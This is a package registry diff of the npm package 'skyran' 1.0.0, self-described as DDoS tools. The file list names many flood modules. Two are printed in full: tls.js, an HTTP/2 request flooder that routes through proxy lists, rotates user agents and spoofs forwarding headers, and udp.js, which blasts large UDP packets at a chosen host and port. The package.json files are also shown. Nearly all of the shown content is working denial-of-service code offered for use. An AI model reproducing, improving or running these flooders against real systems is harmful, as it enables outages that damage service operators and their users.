skyran 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +453 -0
- package/lib/cache/StarsXMc.js +104 -0
- package/lib/cache/StarsXSSH.js +36 -0
- package/lib/cache/StarsXSamp.js +67 -0
- package/lib/cache/StarsXTemp.js +63 -0
- package/lib/cache/StarsXWiFi.js +64 -0
- package/lib/cache/bypass.js +3176 -0
- package/lib/cache/destroy.js +10292 -0
- package/lib/cache/flood.js +20 -0
- package/lib/cache/kill.js +297 -0
- package/lib/cache/rape.js +681 -0
- package/lib/cache/raw.js +50 -0
- package/lib/cache/storm.js +3185 -0
- package/lib/cache/strike.js +812 -0
- package/lib/cache/thunder.js +856 -0
- package/lib/cache/tls.js +262 -0
- package/lib/cache/udp.js +53 -0
- package/package.json +38 -0
- package/package.json.bak +37 -0
package/lib/cache/tls.js
ADDED
|
@@ -0,0 +1,262 @@
|
|
|
1
|
+
const net = require("net");
|
|
2
|
+
const http2 = require("http2");
|
|
3
|
+
const tls = require("tls");
|
|
4
|
+
const cluster = require("cluster");
|
|
5
|
+
const url = require("url");
|
|
6
|
+
const crypto = require("crypto");
|
|
7
|
+
const fs = require("fs");
|
|
8
|
+
|
|
9
|
+
process.setMaxListeners(0);
|
|
10
|
+
require("events").EventEmitter.defaultMaxListeners = 0;
|
|
11
|
+
|
|
12
|
+
if (process.argv.length < 5){console.log(`Usage: node tls.js URL TIME REQ_PER_SEC THREADS\nExample: node tls.js https://tls.mrrage.xyz 500 8 1`); process.exit();}
|
|
13
|
+
|
|
14
|
+
const defaultCiphers = crypto.constants.defaultCoreCipherList.split(":");
|
|
15
|
+
const ciphers = "GREASE:" + [
|
|
16
|
+
defaultCiphers[2],
|
|
17
|
+
defaultCiphers[1],
|
|
18
|
+
defaultCiphers[0],
|
|
19
|
+
...defaultCiphers.slice(3)
|
|
20
|
+
].join(":");
|
|
21
|
+
|
|
22
|
+
const sigalgs = "ecdsa_secp256r1_sha256:rsa_pss_rsae_sha256:rsa_pkcs1_sha256:ecdsa_secp384r1_sha384:rsa_pss_rsae_sha384:rsa_pkcs1_sha384:rsa_pss_rsae_sha512:rsa_pkcs1_sha512";
|
|
23
|
+
|
|
24
|
+
const ecdhCurve = "GREASE:x25519:secp256r1:secp384r1";
|
|
25
|
+
|
|
26
|
+
const secureOptions =
|
|
27
|
+
crypto.constants.SSL_OP_NO_SSLv2 |
|
|
28
|
+
crypto.constants.SSL_OP_NO_SSLv3 |
|
|
29
|
+
crypto.constants.SSL_OP_NO_TLSv1 |
|
|
30
|
+
crypto.constants.SSL_OP_NO_TLSv1_1 |
|
|
31
|
+
crypto.constants.ALPN_ENABLED |
|
|
32
|
+
crypto.constants.SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION |
|
|
33
|
+
crypto.constants.SSL_OP_CIPHER_SERVER_PREFERENCE |
|
|
34
|
+
crypto.constants.SSL_OP_LEGACY_SERVER_CONNECT |
|
|
35
|
+
crypto.constants.SSL_OP_COOKIE_EXCHANGE |
|
|
36
|
+
crypto.constants.SSL_OP_PKCS1_CHECK_1 |
|
|
37
|
+
crypto.constants.SSL_OP_PKCS1_CHECK_2 |
|
|
38
|
+
crypto.constants.SSL_OP_SINGLE_DH_USE |
|
|
39
|
+
crypto.constants.SSL_OP_SINGLE_ECDH_USE |
|
|
40
|
+
crypto.constants.SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION;
|
|
41
|
+
|
|
42
|
+
const secureProtocol = "TLS_client_method";
|
|
43
|
+
const headers = {};
|
|
44
|
+
|
|
45
|
+
const secureContextOptions = {
|
|
46
|
+
ciphers: ciphers,
|
|
47
|
+
sigalgs: sigalgs,
|
|
48
|
+
honorCipherOrder: true,
|
|
49
|
+
secureOptions: secureOptions,
|
|
50
|
+
secureProtocol: secureProtocol
|
|
51
|
+
};
|
|
52
|
+
|
|
53
|
+
const secureContext = tls.createSecureContext(secureContextOptions);
|
|
54
|
+
|
|
55
|
+
var proxyFile = "proxy.txt";
|
|
56
|
+
var proxies = readLines(proxyFile);
|
|
57
|
+
var userAgents = readLines("ua.txt");
|
|
58
|
+
|
|
59
|
+
const args = {
|
|
60
|
+
target: process.argv[2],
|
|
61
|
+
time: ~~process.argv[3],
|
|
62
|
+
Rate: ~~process.argv[4],
|
|
63
|
+
threads: ~~process.argv[5]
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
const parsedTarget = url.parse(args.target);
|
|
67
|
+
|
|
68
|
+
if (cluster.isMaster) {
|
|
69
|
+
for (let counter = 1; counter <= args.threads; counter++) {
|
|
70
|
+
//console.log("Threads " + counter + " started.");
|
|
71
|
+
cluster.fork();
|
|
72
|
+
}
|
|
73
|
+
} else {for (let i = 0; i < 10; i++) { setInterval(runFlooder, 0) }}
|
|
74
|
+
|
|
75
|
+
class NetSocket {
|
|
76
|
+
constructor(){}
|
|
77
|
+
|
|
78
|
+
HTTP(options, callback) {
|
|
79
|
+
const parsedAddr = options.address.split(":");
|
|
80
|
+
const addrHost = parsedAddr[0];
|
|
81
|
+
const payload = "CONNECT " + options.address + ":443 HTTP/1.1\r\nHost: " + options.address + ":443\r\nConnection: Keep-Alive\r\n\r\n"; //Keep Alive
|
|
82
|
+
const buffer = new Buffer.from(payload);
|
|
83
|
+
|
|
84
|
+
const connection = net.connect({
|
|
85
|
+
host: options.host,
|
|
86
|
+
port: options.port,
|
|
87
|
+
allowHalfOpen: true,
|
|
88
|
+
writable: true,
|
|
89
|
+
readable: true
|
|
90
|
+
});
|
|
91
|
+
|
|
92
|
+
connection.setTimeout(options.timeout * 10000);
|
|
93
|
+
connection.setKeepAlive(true, 10000);
|
|
94
|
+
connection.setNoDelay(true)
|
|
95
|
+
|
|
96
|
+
connection.on("connect", () => {
|
|
97
|
+
connection.write(buffer);
|
|
98
|
+
});
|
|
99
|
+
|
|
100
|
+
connection.on("data", chunk => {
|
|
101
|
+
const response = chunk.toString("utf-8");
|
|
102
|
+
const isAlive = response.includes("HTTP/1.1 200");
|
|
103
|
+
if (isAlive === false) {
|
|
104
|
+
connection.destroy();
|
|
105
|
+
return callback(undefined, "error: invalid response from proxy server");
|
|
106
|
+
}
|
|
107
|
+
return callback(connection, undefined);
|
|
108
|
+
});
|
|
109
|
+
|
|
110
|
+
connection.on("timeout", () => {
|
|
111
|
+
connection.destroy();
|
|
112
|
+
return callback(undefined, "error: timeout exceeded");
|
|
113
|
+
});
|
|
114
|
+
|
|
115
|
+
connection.on("error", error => {
|
|
116
|
+
connection.destroy();
|
|
117
|
+
return callback(undefined, "error: " + error);
|
|
118
|
+
});
|
|
119
|
+
}
|
|
120
|
+
}
|
|
121
|
+
|
|
122
|
+
const Socker = new NetSocket();
|
|
123
|
+
|
|
124
|
+
function readLines(filePath) {
|
|
125
|
+
return fs.readFileSync(filePath, "utf-8").toString().split(/\r?\n/);
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
function randomIntn(min, max) {
|
|
129
|
+
return Math.floor(Math.random() * (max - min) + min);
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
function randomElement(elements) {
|
|
133
|
+
return elements[randomIntn(0, elements.length)];
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
function randomCharacters(length) {
|
|
137
|
+
output = ""
|
|
138
|
+
for (let count = 0; count < length; count++) {
|
|
139
|
+
output += randomElement(characters);
|
|
140
|
+
}
|
|
141
|
+
return output;
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
headers[":method"] = "GET";
|
|
145
|
+
headers[":path"] = parsedTarget.path;
|
|
146
|
+
headers[":scheme"] = "https";
|
|
147
|
+
headers["accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8";
|
|
148
|
+
headers["accept-language"] = "es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3";
|
|
149
|
+
headers["accept-encoding"] = "gzip, deflate, br";
|
|
150
|
+
headers["x-forwarded-proto"] = "https";
|
|
151
|
+
headers["cache-control"] = "no-cache, no-store,private, max-age=0, must-revalidate";
|
|
152
|
+
headers["sec-ch-ua-mobile"] = randomElement(["?0", "?1"]);
|
|
153
|
+
headers["sec-ch-ua-platform"] = randomElement(["Android", "iOS", "Linux", "macOS", "Windows"]);
|
|
154
|
+
headers["sec-fetch-dest"] = "document";
|
|
155
|
+
headers["sec-fetch-mode"] = "navigate";
|
|
156
|
+
headers["sec-fetch-site"] = "same-origin";
|
|
157
|
+
headers["upgrade-insecure-requests"] = "1";
|
|
158
|
+
|
|
159
|
+
function runFlooder() {
|
|
160
|
+
const proxyAddr = randomElement(proxies);
|
|
161
|
+
const parsedProxy = proxyAddr.split(":");
|
|
162
|
+
|
|
163
|
+
/** headers dynamic */
|
|
164
|
+
headers[":authority"] = parsedTarget.host
|
|
165
|
+
headers["user-agent"] = randomElement(userAgents);
|
|
166
|
+
headers["x-forwarded-for"] = parsedProxy[0];
|
|
167
|
+
|
|
168
|
+
const proxyOptions = {
|
|
169
|
+
host: parsedProxy[0],
|
|
170
|
+
port: ~~parsedProxy[1],
|
|
171
|
+
address: parsedTarget.host + ":443",
|
|
172
|
+
timeout: 15
|
|
173
|
+
};
|
|
174
|
+
|
|
175
|
+
Socker.HTTP(proxyOptions, (connection, error) => {
|
|
176
|
+
if (error) return
|
|
177
|
+
|
|
178
|
+
connection.setKeepAlive(true, 60000);
|
|
179
|
+
connection.setNoDelay(true)
|
|
180
|
+
|
|
181
|
+
const settings = {
|
|
182
|
+
enablePush: false,
|
|
183
|
+
initialWindowSize: 1073741823
|
|
184
|
+
};
|
|
185
|
+
|
|
186
|
+
const tlsOptions = {
|
|
187
|
+
port: 443,
|
|
188
|
+
secure: true,
|
|
189
|
+
ALPNProtocols: [
|
|
190
|
+
"h2"
|
|
191
|
+
],
|
|
192
|
+
ciphers: ciphers,
|
|
193
|
+
sigalgs: sigalgs,
|
|
194
|
+
requestCert: true,
|
|
195
|
+
socket: connection,
|
|
196
|
+
ecdhCurve: ecdhCurve,
|
|
197
|
+
honorCipherOrder: false,
|
|
198
|
+
host: parsedTarget.host,
|
|
199
|
+
rejectUnauthorized: false,
|
|
200
|
+
clientCertEngine: "dynamic",
|
|
201
|
+
secureOptions: secureOptions,
|
|
202
|
+
secureContext: secureContext,
|
|
203
|
+
servername: parsedTarget.host,
|
|
204
|
+
secureProtocol: secureProtocol
|
|
205
|
+
};
|
|
206
|
+
|
|
207
|
+
const tlsConn = tls.connect(443, parsedTarget.host, tlsOptions);
|
|
208
|
+
|
|
209
|
+
tlsConn.allowHalfOpen = true;
|
|
210
|
+
tlsConn.setNoDelay(true);
|
|
211
|
+
tlsConn.setKeepAlive(true, 60 * 1000);
|
|
212
|
+
tlsConn.setMaxListeners(0);
|
|
213
|
+
|
|
214
|
+
const client = http2.connect(parsedTarget.href, {
|
|
215
|
+
protocol: "https:",
|
|
216
|
+
settings: settings,
|
|
217
|
+
maxSessionMemory: 3333,
|
|
218
|
+
maxDeflateDynamicTableSize: 4294967295,
|
|
219
|
+
createConnection: () => tlsConn
|
|
220
|
+
//socket: connection,
|
|
221
|
+
});
|
|
222
|
+
|
|
223
|
+
client.setMaxListeners(0);
|
|
224
|
+
client.settings(settings);
|
|
225
|
+
|
|
226
|
+
client.on("connect", () => {
|
|
227
|
+
const IntervalAttack = setInterval(() => {
|
|
228
|
+
for (let i = 0; i < args.Rate; i++) {
|
|
229
|
+
headers["referer"] = "https://" + parsedTarget.host + parsedTarget.path;
|
|
230
|
+
const request = client.request(headers)
|
|
231
|
+
|
|
232
|
+
.on("response", response => {
|
|
233
|
+
request.close();
|
|
234
|
+
request.destroy();
|
|
235
|
+
return
|
|
236
|
+
});
|
|
237
|
+
|
|
238
|
+
request.end();
|
|
239
|
+
}
|
|
240
|
+
}, 1000);
|
|
241
|
+
});
|
|
242
|
+
|
|
243
|
+
client.on("close", () => {
|
|
244
|
+
client.destroy();
|
|
245
|
+
connection.destroy();
|
|
246
|
+
return
|
|
247
|
+
});
|
|
248
|
+
|
|
249
|
+
client.on("error", error => {
|
|
250
|
+
client.destroy();
|
|
251
|
+
connection.destroy();
|
|
252
|
+
return
|
|
253
|
+
});
|
|
254
|
+
});
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
const KillScript = () => process.exit(1);
|
|
258
|
+
|
|
259
|
+
setTimeout(KillScript, args.time * 1000);
|
|
260
|
+
|
|
261
|
+
process.on('uncaughtException', error => {});
|
|
262
|
+
process.on('unhandledRejection', error => {});
|
package/lib/cache/udp.js
ADDED
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
const dgram = require('dgram');
|
|
2
|
+
|
|
3
|
+
const target = process.argv[2];
|
|
4
|
+
const port = process.argv[3];
|
|
5
|
+
const duration = process.argv[4]
|
|
6
|
+
function generatePayload(size) {
|
|
7
|
+
let payload = Buffer.alloc(size);
|
|
8
|
+
payload.fill('PermenMD');
|
|
9
|
+
return payload;
|
|
10
|
+
}
|
|
11
|
+
|
|
12
|
+
const payload = generatePayload(65500);
|
|
13
|
+
|
|
14
|
+
setInterval(() => {
|
|
15
|
+
const socket = dgram.createSocket('udp4');
|
|
16
|
+
for (let p = 0; p < 50; p++) {
|
|
17
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
18
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
19
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
20
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
21
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
22
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
23
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
24
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
25
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
26
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
27
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
28
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
29
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
30
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
31
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
32
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
33
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
34
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
35
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
36
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
37
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
38
|
+
socket.send(payload, 0, payload.length, port, target);
|
|
39
|
+
}
|
|
40
|
+
socket.send(payload, 0, payload.length, port, target, (err) => {
|
|
41
|
+
if (err) {
|
|
42
|
+
console.error('Error sending message:', err);
|
|
43
|
+
}
|
|
44
|
+
socket.close();
|
|
45
|
+
});
|
|
46
|
+
});
|
|
47
|
+
|
|
48
|
+
console.clear();
|
|
49
|
+
console.log(``);
|
|
50
|
+
setTimeout(() => {
|
|
51
|
+
console.log('Attack stopped.');
|
|
52
|
+
process.exit(0);
|
|
53
|
+
}, duration * 1000);
|
package/package.json
ADDED
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "skyran",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Tools Ddos Skyran",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"skyran": "./index.js"
|
|
8
|
+
},
|
|
9
|
+
"scripts": {
|
|
10
|
+
"start": "node index.js"
|
|
11
|
+
},
|
|
12
|
+
"keywords": [],
|
|
13
|
+
"dependencies": {
|
|
14
|
+
"@whiskeysockets/baileys": "^6.7.6",
|
|
15
|
+
"axios": "^1.7.4",
|
|
16
|
+
"chalk": "^5.3.0",
|
|
17
|
+
"cluster": "^0.7.7",
|
|
18
|
+
"colors": "^1.4.0",
|
|
19
|
+
"crypto": "^1.0.1",
|
|
20
|
+
"dgram": "^1.0.1",
|
|
21
|
+
"gradient-string": "^2.0.2",
|
|
22
|
+
"hpack": "^1.0.0",
|
|
23
|
+
"http2": "^3.3.7",
|
|
24
|
+
"libphonenumber-js": "^1.11.7",
|
|
25
|
+
"mineflayer": "^4.20.1",
|
|
26
|
+
"net": "^1.0.2",
|
|
27
|
+
"pino": "^9.3.2",
|
|
28
|
+
"proxy-agent": "^6.4.0",
|
|
29
|
+
"socks": "^2.8.3",
|
|
30
|
+
"ssh2": "^1.15.0",
|
|
31
|
+
"tls": "^0.0.1",
|
|
32
|
+
"user-agents": "^1.1.294"
|
|
33
|
+
},
|
|
34
|
+
"directories": {
|
|
35
|
+
"lib": "lib"
|
|
36
|
+
},
|
|
37
|
+
"devDependencies": {}
|
|
38
|
+
}
|
package/package.json.bak
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "skyran",
|
|
3
|
+
"version": "5.0.1",
|
|
4
|
+
"description": "Skyran Tools Ddos",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"author": "SkyranX-Mods",
|
|
7
|
+
"license": "MIT",
|
|
8
|
+
"scripts": {
|
|
9
|
+
"start": "node index.js"
|
|
10
|
+
},
|
|
11
|
+
"keywords": [],
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"@whiskeysockets/baileys": "^6.7.6",
|
|
14
|
+
"axios": "^1.7.4",
|
|
15
|
+
"chalk": "^5.3.0",
|
|
16
|
+
"cluster": "^0.7.7",
|
|
17
|
+
"colors": "^1.4.0",
|
|
18
|
+
"crypto": "^1.0.1",
|
|
19
|
+
"dgram": "^1.0.1",
|
|
20
|
+
"gradient-string": "^2.0.2",
|
|
21
|
+
"hpack": "^1.0.0",
|
|
22
|
+
"http2": "^3.3.7",
|
|
23
|
+
"libphonenumber-js": "^1.11.7",
|
|
24
|
+
"mineflayer": "^4.20.1",
|
|
25
|
+
"net": "^1.0.2",
|
|
26
|
+
"pino": "^9.3.2",
|
|
27
|
+
"proxy-agent": "^6.4.0",
|
|
28
|
+
"socks": "^2.8.3",
|
|
29
|
+
"ssh2": "^1.15.0",
|
|
30
|
+
"tls": "^0.0.1",
|
|
31
|
+
"user-agents": "^1.1.294"
|
|
32
|
+
},
|
|
33
|
+
"directories": {
|
|
34
|
+
"lib": "lib"
|
|
35
|
+
},
|
|
36
|
+
"devDependencies": {}
|
|
37
|
+
}
|